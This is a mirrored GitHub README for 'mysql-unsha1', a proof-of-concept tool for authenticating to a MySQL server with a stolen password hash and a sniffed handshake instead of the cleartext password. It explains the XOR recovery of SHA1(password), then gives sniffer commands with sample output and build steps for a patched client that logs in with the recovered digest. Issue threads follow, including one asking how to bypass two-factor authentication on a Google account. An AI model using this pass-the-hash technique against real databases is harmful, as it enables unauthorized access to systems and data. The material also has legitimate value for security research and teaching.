Code Monkey home page Code Monkey logo

mysql-unsha1's Introduction

mysql-unsha1

Authenticate against a MySQL server without knowing the cleartext password.

Abstract

This PoC shows how it is possible to authenticate against a MySQL server under certain circumstances without knowing the cleartext password when the Secure Password Authentication authentication plugin (aka mysql_native_password, the default method) is used.

Preconditions are:

  • to obtain a read-only access to the mysql.user table in the target database in order to fetch the hashed password for a given user;

  • to be able to intercept a successful authentication handshake performed by the aforementioned user (i.e., authentication via SSL would nullify this attempt).

Note: This is not a bug nor a vulnerability in MySQL (this is hardly an exploit actually), it is just a direct consequence of how the authentication protocol works. If an attacker is able to satisfy the above points then the whole system is probably already compromised. Yet this exploit may offer an alternative approach to obtain a proper authenticated access to a MySQL server.

MySQL server passwords

By default, passwords are stored in the mysql.user table and are hashed using the PASSWORD function which is just a two-stage SHA1 digest:

mysql> SELECT DISTINCT password FROM mysql.user WHERE user = 'root';
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

mysql> SELECT PASSWORD('password');
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

mysql> SELECT SHA1(UNHEX(SHA1('password')));
2470c0c06dee42fd1618bb99005adca2ec9d1e19

The handshake

After the TCP connection phase, initiated by the client, the MySQL authentication handshake continues as follows (simplified):

  1. the server sends a Server Greeting packet containing a salt (s);

  2. the client replies with a Login Request packet containing the session password (x), computed as follows:

     x := SHA1(password) XOR SHA1(s + SHA1(SHA1(password)))
    

    where password is the cleartext password as provided by the user and + is a mere string concatenation operator;

  3. the server can verify the challenge and authenticate the client if:

     SHA1(x XOR SHA1(s + SHA1(SHA1(password)))) = SHA1(SHA1(password))
    

    where SHA1(SHA1(password)) is the two-stage SHA1 digest of the password, stored in the mysql.user table; the server does not know the cleartext password nor its SHA1 digest.

The exploit

With enough information an attacker is able to obtain SHA1(password) and therefore to solve the server challenge without the knowledge of the cleartext password.

Let:

  • h be the hashed password obtained from the mysql.user table (i.e., SHA1(SHA1(password)));

  • s and x be the salt and the session password respectively obtained from the intercepted handshake.

The first-stage SHA1 can be obtained as follows:

SHA1(password) = x XOR SHA1(s + h)

Tools

To ease the reproducibility of the exploit, this PoC provides two tools:

  • a simple sniffer to extract and check the handshake information either live or offline from a PCAP file;

  • a patch for MySQL client which allows to treat the prompted passwords as SHA1 digests instead of cleartexts.

The sniffer

To build mysql-unsha1-sniff just run make (or make static to produce a statically linked executable). The Makefile will look for the uthash.h file in this directory and will download it if not found.

Run mysql-unsha1-sniff without arguments to display the usage message.

In accordance with the previous example:

sudo ./mysql-unsha1-sniff -i lo 127.0.0.1 3306 2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19:root

Once a successful authentication handshake is captured the output will be like:

[+] Input:
[+] - username ........................ 'root'
[+] - salt ............................ 3274756c42415d3429717e482a3776704d706b49
[+] - client session password ......... 6d45a453b989ad0ff0c84daf623e9870f129c329
[+] - SHA1(SHA1(password)) ............ 2470c0c06dee42fd1618bb99005adca2ec9d1e19
[+] Output:
[+] - SHA1(password) .................. 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
[+] Check:
[+] - computed SHA1(SHA1(password)) ... 2470c0c06dee42fd1618bb99005adca2ec9d1e19
[+] - authentication status ........... OK

If no account information are provided, the tool will only display the salt and the session password.

The patched MySQL client

Building the MySQL client may take some time and requires a certain amount of free disk space:

  1. download and extract the MySQL source code:

     wget https://github.com/mysql/mysql-server/archive/mysql-5.7.17.tar.gz
     tar xf mysql-5.7.17.tar.gz
     cd mysql-server-mysql-5.7.17
    
  2. apply the patch:

     patch -p1 </path/to/mysql-server-unsha1.patch
    
  3. build (without server) with:

     mkdir build
     cd build
     cmake -DDOWNLOAD_BOOST=1 -DWITH_BOOST=boost -DWITHOUT_SERVER:BOOL=ON ..
     make -j$(nproc)
    
  4. the client executable will be created at client/mysql, optionally install it globally and delete the whole source code to save some space:

     sudo cp client/mysql /usr/local/bin/mysql-unsha1
     cd ../..
     rm -fr mysql-server-mysql-5.7.17
    

Use mysql-unsha1 as the original MySQL client, just remember that the --password[=password], -p[password] option now requires a 40-digit hexadecimal SHA1 string.

In accordance with the previous example:

mysql-unsha1 -h 127.0.0.1 -P 3306 -u root --password=5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8

Where:

mysql> SELECT SHA1(UNHEX('5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8'));
2470c0c06dee42fd1618bb99005adca2ec9d1e19

and 2470c0c06dee42fd1618bb99005adca2ec9d1e19 is the hashed password stored in the mysql.user table.

mysql-unsha1's People

Contributors

cyrus-and avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

mysql-unsha1's Issues

How to bypass or disable authenticator for Google account

I know the password of my gmail address. No recovery code and recovery email address and recovery phone number are not registered. It was only protected by authenticator and password. My phone malfunctioned, I had to do a soft reset. I didn't have an Authenticator backup. So I can't login to my gmail account. My important documents were in my drive account. I need access. I wonder if there is a web app so I can bypass or disable gmail authenticator and only login with password? How can I recover? Can this be done with the app?

Kali - Segmentation fault

Install

# wget https://github.com/mysql/mysql-server/archive/mysql-5.7.17.tar.gz
# tar xf mysql-5.7.17.tar.gz
# cd mysql-server-mysql-5.7.17
# apt-get install cmake libnuma-dev libncurses5-dev
# mkdir build
# cd build
# cmake -DDOWNLOAD_BOOST=1 -DWITH_BOOST=boost -DWITHOUT_SERVER:BOOL=ON ..
# make -j$(nproc)
# cp client/mysql /usr/local/bin/mysql-unsha1

Crash

root@lab:~# mysql-unsha1 -h 127.0.0.1 -P 3306 -u phpmyadmin --password=5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
mysql-unsha1: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 65
Server version: 5.5.5-10.1.21-MariaDB-5+b1 Debian 9.0

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Segmentation fault. << ---------------- ^_^

Lab environment

root@lab:~# uname -a 
Linux lab 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux
root@lab:~# cat /etc/os-release 
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
ID=kali
VERSION="2016.2"
VERSION_ID="2016.2"
ID_LIKE=debian
ANSI_COLOR="1;31"
HOME_URL="http://www.kali.org/"
SUPPORT_URL="http://forums.kali.org/"
BUG_REPORT_URL="http://bugs.kali.org/"

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.